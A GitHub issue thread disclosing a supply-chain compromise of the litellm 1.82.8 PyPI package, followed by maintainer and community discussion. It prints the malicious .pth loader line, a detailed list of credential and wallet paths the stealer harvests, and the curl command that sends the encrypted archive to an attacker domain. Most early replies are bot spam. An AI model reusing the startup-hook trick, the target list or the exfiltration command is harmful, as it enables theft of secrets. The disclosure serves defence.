Repository navigation
Closed
Description
[LITELLM TEAM] - For updates from the team, please see: #24518
[Security]: CRITICAL: Malicious litellm_init.pth in litellm 1.82.8 PyPI package — credential stealer
Summary
The litellm==1.82.8 wheel package on PyPI contains a malicious .pth file (litellm_init.pth, 34,628 bytes) that automatically executes a credential-stealing script every time the Python interpreter starts — no import litellm required.
This is a supply chain compromise. The malicious file is listed in the package's own RECORD:
litellm_init.pth,sha256=ceNa7wMJnNHy1kRnNCcwJaFjWX3pORLfMh7xGL8TUjg,34628
Reproduction
pip download litellm==1.82.8 --no-deps -d /tmp/check
python3 -c "
import zipfile, os
whl = '/tmp/check/' + [f for f in os.listdir('/tmp/check') if f.endswith('.whl')][0]
with zipfile.ZipFile(whl) as z:
pth = [n for n in z.namelist() if n.endswith('.pth')]
print('PTH files:', pth)
for p in pth:
print(z.read(p)[:300])
"You will see litellm_init.pth containing:
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"])Malicious Behavior (full analysis)
The payload is double base64-encoded. When decoded, it performs the following:
Stage 1: Information Collection
The script collects sensitive data from the host system:
- System info:
hostname,whoami,uname -a,ip addr,ip route - Environment variables:
printenv(captures all API keys, secrets, tokens) - SSH keys:
~/.ssh/id_rsa,~/.ssh/id_ed25519,~/.ssh/id_ecdsa,~/.ssh/id_dsa,~/.ssh/authorized_keys,~/.ssh/known_hosts,~/.ssh/config - Git credentials:
~/.gitconfig,~/.git-credentials - AWS credentials:
~/.aws/credentials,~/.aws/config, IMDS token + security credentials - Kubernetes secrets:
~/.kube/config,/etc/kubernetes/admin.conf,/etc/kubernetes/kubelet.conf,/etc/kubernetes/controller-manager.conf,/etc/kubernetes/scheduler.conf, service account tokens - GCP credentials:
~/.config/gcloud/application_default_credentials.json - Azure credentials:
~/.azure/ - Docker configs:
~/.docker/config.json,/kaniko/.docker/config.json,/root/.docker/config.json - Package manager configs:
~/.npmrc,~/.vault-token,~/.netrc,~/.lftprc,~/.msmtprc,~/.my.cnf,~/.pgpass,~/.mongorc.js - Shell history:
~/.bash_history,~/.zsh_history,~/.sh_history,~/.mysql_history,~/.psql_history,~/.rediscli_history - Crypto wallets:
~/.bitcoin/,~/.litecoin/,~/.dogecoin/,~/.zcash/,~/.dashcore/,~/.ripple/,~/.bitmonero/,~/.ethereum/keystore/,~/.cardano/,~/.config/solana/ - SSL/TLS private keys:
/etc/ssl/private/, Let's Encrypt.pemand.keyfiles - CI/CD secrets:
terraform.tfvars,.gitlab-ci.yml,.travis.yml,Jenkinsfile,.drone.yml,Anchor.toml,ansible.cfg - Database credentials: PostgreSQL, MySQL, Redis, LDAP config files
- Webhook URLs: grep for Slack/Discord webhook URLs in env and config files
Stage 2: Encryption & Exfiltration
- Collected data is written to a temporary file
- A random 32-byte AES-256 session key is generated via
openssl rand - The collected data is encrypted with
openssl enc -aes-256-cbc -pbkdf2 - The AES session key is encrypted with a hardcoded 4096-bit RSA public key via
openssl pkeyutl -encrypt -pkeyopt rsa_padding_mode:oaep - Both encrypted files are packed into
tpcp.tar.gz - The archive is exfiltrated via:
curl -s -o /dev/null -X POST \
"https://models.litellm.cloud/" \
-H "Content-Type: application/octet-stream" \
-H "X-Filename: tpcp.tar.gz" \
--data-binary @tpcp.tar.gzKey Technical Details
- Trigger mechanism:
.pthfiles insite-packages/are executed automatically by the Python interpreter on startup (see Python docs on .pth files). Noimportstatement is needed. - Stealth: The payload is double base64-encoded, making it invisible to naive source code grep.
- Exfiltration target:
https://models.litellm.cloud/— note the domainlitellm.cloud(NOTlitellm.ai, the official domain). - RSA public key (first 64 chars):
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvahaZDo8mucujrT15ry+...
Impact
Anyone who installed litellm==1.82.8 via pip has had all environment variables, SSH keys, cloud credentials, and other secrets collected and sent to an attacker-controlled server.
This affects:
- Local development machines
- CI/CD pipelines
- Docker containers
- Production servers
Affected Version
- Confirmed:
litellm==1.82.8(PyPI wheellitellm-1.82.8-py3-none-any.whl) - Other versions: Not yet checked — the attacker may have compromised multiple releases
Recommended Actions
- PyPI: Yank/remove litellm 1.82.8 immediately
- Users: Check for
litellm_init.pthin yoursite-packages/directory - Users: Rotate ALL credentials that were present as environment variables or in config files on any system where litellm 1.82.8 was installed
- BerriAI: Audit PyPI publishing credentials and CI/CD pipeline for compromise
Environment
- OS: Ubuntu 24.04 (Docker container)
- Python: 3.13
- pip installed from PyPI
- Discovered: 2026-03-24
Reacted by Daniel Alder (formerly Hnyk), Harutaka Kawamura, Paul Dubs, Arnault, Tom Forbes, Daniel, copilot-busca, Kedharnath, om-hb, Jiarui, Xie and 788 more
Reacted by Abhishek Singh, YanheChen, GoZippy - Eric, Bao Nguyen, Stefan Schweter and Chrisjan Wüst
Reacted by Eugene, Brycen G, Sunny, Aasheesh, system32, Shaf M., Mykola Pavlov, Fang-Pen Lin, adgaultier, Dipankar Das and 12 more
Reacted by Daniil Fadeev, Dheeraj Pai, reallyyy, Rachitt Shah, Rene Hernandez, Rinor Maloku, John Liggett, bilal, Makeev Ivan, zeev-dev and 93 more
Reacted by Ron Zhong, Fotis Georgatos and Mark Woo
Reacted by alexlach, Amine Afia, Vladimir Sklyar, Vitor Hugo Schwaab, Nikita Alabugin, LostRuins Concedo, Dheeraj Pai, Rayane, Mauro Sardara, Zaur Samadov and 176 more
Activity
hnykda commentedon Mar 24, 2026
Yep, we have been pwned by this. @krrishdholakia this is very, very bad, thousands of people are likely getting pwned right now.
Update (2026-03-24 23:47 UTC): My awesome colleague Callum McMahon, who discovered this, wrote an explainer and postmortem going into greater detail: https://futuresearch.ai/blog/no-prompt-injection-required
treo commentedon Mar 24, 2026
Version 1.82.7 is also compromised. It doesn't have the pth file, but the payload is still in proxy/proxy_server.py.
praiitt commentedon Mar 24, 2026
Thanks, that helped!
praiitt commentedon Mar 24, 2026
This was the answer I was looking for.
Christopher933 commentedon Mar 24, 2026
Thanks for the tip!
mahesh-sini commentedon Mar 24, 2026
Great explanation, thanks for sharing.
bercanozcan commentedon Mar 24, 2026
This was the answer I was looking for.
18pixels commentedon Mar 24, 2026
Thanks for the tip!
Balerionth commentedon Mar 24, 2026
Great explanation, thanks for sharing.
bwanakweli4ever commentedon Mar 24, 2026
Great explanation, thanks for sharing.
piyushwebexpert commentedon Mar 24, 2026
Thanks, that helped!
ascorptech commentedon Mar 24, 2026
Worked like a charm, much appreciated.
shivampip commentedon Mar 24, 2026
Appreciate the help, this fixed it for me.
praiitt commentedon Mar 24, 2026
This was the answer I was looking for.
519 remaining items
SerJaimeLannister commentedon Mar 27, 2026
@VX1D I didn't know that telnyx has also been compromised by teampcp.
Had to search and I am not seeing any official telnyx response and it took me some time to figure out but this is the github issue talking about telnyx getting compromised team-telnyx/telnyx-python#235
VX1D commentedon Mar 27, 2026
@SerJaimeLannister https://www.aikido.dev/blog/telnyx-pypi-compromised-teampcp-canisterworm
mihaimaruseac commentedon Mar 27, 2026
I think it might help. There's also nono, more recent, build specifically for agents. They even have a case study for this scenario in particular: https://nono.sh/blog/nono-litellm
I'd love to <3 Happy to chat here, on Linkedin, Bluesky/X, or wherever else is easy (my blog listed on my page has a list of all profiles, I don't want to spam the links here)
Yes, trusted publishing is the best approach if the package manager suports it (PyPI does). Signing is the next second best.
DanielRuf commentedon Mar 27, 2026
@miketheman I think you are probably pretty busy and deeply involved with triaging and handling the advisory process.
So not sure how much time and general resources you have left.
Because a direct line to someone from the security team of PyPi would not be bad and maybe you want and can collect some feedback for improvement suggestions surrounding PyPi.
Would there still be some room to join the Security WG at https://github.com/BerriAI/litellm-security-wg or is that not an option (and if so, are you open to privately provide some contact details that are only used internally for the planned security disclosure process)?
Let me know what you think and how the process can be improved by opening the right channels or having the right people on board. Thank you very much.
miketheman commentedon Mar 27, 2026
Yes, that's true, and that is also true.
Not many.
The "security team of PyPI" == me.
https://pypi.org/help/#contributing is the place to start.
There's many open forums, opportunities to engage with the open source package community, and folks need to read the FAQs of the services they use, learn about how they operate and evolve, and most importantly - get involved.
VX1D commentedon Mar 27, 2026
I agree; the first supply chain attack happened 7 days ago and was widely discussed, so there was a lot of time for organizations to rotate credentials and take precautions - but it seems that a lot of people have ignored it. Telnyx was pwned due to stolen credentials as far as I know (if I'm wrong there, then please correct me). If let's say they got compromised in the most recent LiteLLM attack - they had three days to invalidate the credentials or take preventive action. Incidents like those PCP attacks seem to be less about flaws in the architecture itself and mostly about maintainers. In that sense, TeamPCP is sending a pretty clear message and I guess that will be a turning point in a whole community, or at least it should be. More people should get involved, even at the OSS level.
krrish-berri-2 commentedon Mar 27, 2026
Hi everyone, sharing updates from today's townhall: https://docs.litellm.ai/blog/security-townhall-updates
In terms of roadmap, we plan on following 4 guiding principles for our new CI/CD pipeline:
roadmap details: https://docs.litellm.ai/blog/security-townhall-updates#roadmap
We've already begun making changes to ci/cd (pypi trusted publisher, cosigning releases, etc.), and will share more updates as we make them.
If you have any feedback/advice for improving security of releases, please let me know.
agnosticlines commentedon Mar 28, 2026
This is the problem, supply chain attacks happen and they don't affect packages you personally use, so you just go "oh it's fine, we're fine" or if you're a little more paranoid "we got lucky, we'll do something about it next time" and then (usually) nothing is done about it (and many people are totally fine, but you won't always be).
In general when these attacks happen it's a good idea to be extremely cautious over the next few weeks, they happen in clusters and right now they've basically been smash and grab, but each attack gets more victims, which gets more keys, which spreads more.
I've been following the security updates @krrish-berri-2 and you're doing everything right and your response is genuinely admirable, zizmor is a fantastic tool that should help a lot, but unfortunately github actions is just... really not very secure
by defaultand requires significant work and understanding of the problem space to defend against these kinds of attacks (in particular cache poisoning, which is EXTREMELY scary honestly and Github need to do something about it... and they could.).And it's only going to get worse as (somewhat ironically, given the project) AI democratises the kind of deep domain expertise attackers used to need (the payloads in both cases look very obviously AI generated, and while they're not complex or fancy I think it is notable)
I think there's a lot to learn here though, and I think we're seeing some things happen for the first time, like I've never seen compromised accounts being used to try and hide the issue through spam/downvotes, I'm sure it won't be the last and defenders should definitely be taking notes from all this.
The biggest takeaway I have from all of this is litellm and other projects in the same space are serious targets, it's used in many places and as AI gets more and more important you're only going to become more of a target, I think in a "funny" way everyone got off fairly lightly here, this could have been MUCH worse (it was caught within a few hours, thanks to @hnykda and his colleague for such a fast response), but I say this every supply chain attack...
Either way zimzor and the people behind it are great! And the picks for the security working group (from the little I've seen) look good too, seeing a lot of smart motivated people and I wish you all the best of luck, you really do seem to be approaching it right though, not seen a response like this from an open source project yet.
krrish-berri-2 commentedon Mar 28, 2026
@agnosticlines good point re: github actions. One of the community recs was to move to a private github for managing releases. We're currently investigating that, amongst other approaches. Hope to share more soon.
agnosticlines commentedon Mar 28, 2026
DanielRuf commentedon Mar 28, 2026
Interesting, thanks for the link which went a bit unnoticed for me. I wholeheartedly agree with the last sentence. That's all I want to add to your thoughts that match my opinions.
icsy7867 commentedon Mar 28, 2026
Thank you guys for the visibility and working in this!
Should the pre-built containers typically be okay to use? Perusing their Dockerfiles it seems they should be okay?
DmitriyG228 commentedon Mar 30, 2026
@DanielRuf @SerJaimeLannister @mihaimaruseac — following up on my earlier comment (March 25).
My GitHub account (DmitriyG228) and organization (Vexa-ai) remain flagged — returning 404 to all other users. I've opened reinstatement ticket #4199834 with GitHub Trust & Safety, but it's been 5 days without action.
Since you three have been directly involved in documenting the compromised accounts and appear to be in contact with GitHub staff: would any of you be willing to add a comment to my support ticket, or write to trust@github.com on my behalf confirming that DmitriyG228 was a victim of the TeamPCP botnet and not a malicious actor? The ticket is open under the account DmitriyG228.
The two comments posted from my account ("Exactly what I needed, thanks." / "Thanks for the tip!") are textbook examples of the bot pattern documented in Rami McCarthy's analysis. I operate a legitimate open-source project (Vexa-ai/vexa, 1,833 stars) and the false positive is causing real harm — contributors and users can't reach any of our repositories.
felipeavilis commentedon Apr 13, 2026
Does anyone knows if 1.81 is compromissed?
DanielRuf commentedon Apr 13, 2026
@felipeavilis see the linked post in the initial comment: #24518
Only 1.82.7 and 1.82.8 were compromised, but not earlier versions.